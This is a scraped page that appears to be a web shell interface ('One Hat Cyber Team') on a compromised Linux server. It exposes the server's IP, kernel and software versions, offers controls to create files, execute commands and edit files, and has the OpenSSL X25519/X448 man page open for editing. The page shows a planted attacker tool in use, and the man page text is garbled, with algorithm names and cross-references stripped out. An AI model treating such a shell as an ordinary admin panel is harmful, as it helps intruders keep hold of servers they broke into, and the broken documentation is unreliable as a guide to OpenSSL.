⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
server
/
nginx
/
src
/
openssl
/
doc
/
man7
/
Edit File: X25519.pod
=pod =head1 NAME X25519, X448 - EVP_PKEY X25519 and X448 support =head1 DESCRIPTION The B
and B
EVP_PKEY implementation supports key generation and key derivation using B
and B
. It has associated private and public key formats compatible with RFC 8410. No additional parameters can be set during key generation. The peer public key must be set using EVP_PKEY_derive_set_peer() when performing key derivation. =head1 NOTES A context for the B
algorithm can be obtained by calling: EVP_PKEY_CTX *pctx = EVP_PKEY_CTX_new_id(EVP_PKEY_X25519, NULL); For the B
algorithm a context can be obtained by calling: EVP_PKEY_CTX *pctx = EVP_PKEY_CTX_new_id(EVP_PKEY_X448, NULL); X25519 or X448 private keys can be set directly using L
or loaded from a PKCS#8 private key file using L
(or similar function). Completely new keys can also be generated (see the example below). Setting a private key also sets the associated public key. X25519 or X448 public keys can be set directly using L
or loaded from a SubjectPublicKeyInfo structure in a PEM file using L
(or similar function). =head1 EXAMPLES This example generates an B
private key and writes it to standard output in PEM format: #include
#include
... EVP_PKEY *pkey = NULL; EVP_PKEY_CTX *pctx = EVP_PKEY_CTX_new_id(EVP_PKEY_X25519, NULL); EVP_PKEY_keygen_init(pctx); EVP_PKEY_keygen(pctx, &pkey); EVP_PKEY_CTX_free(pctx); PEM_write_PrivateKey(stdout, pkey, NULL, NULL, 0, NULL, NULL); The key derivation example in L
can be used with B
and B
. =head1 SEE ALSO L
, L
, L
, L
=head1 COPYRIGHT Copyright 2017-2020 The OpenSSL Project Authors. All Rights Reserved. Licensed under the OpenSSL license (the "License"). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at L
. =cut
Simpan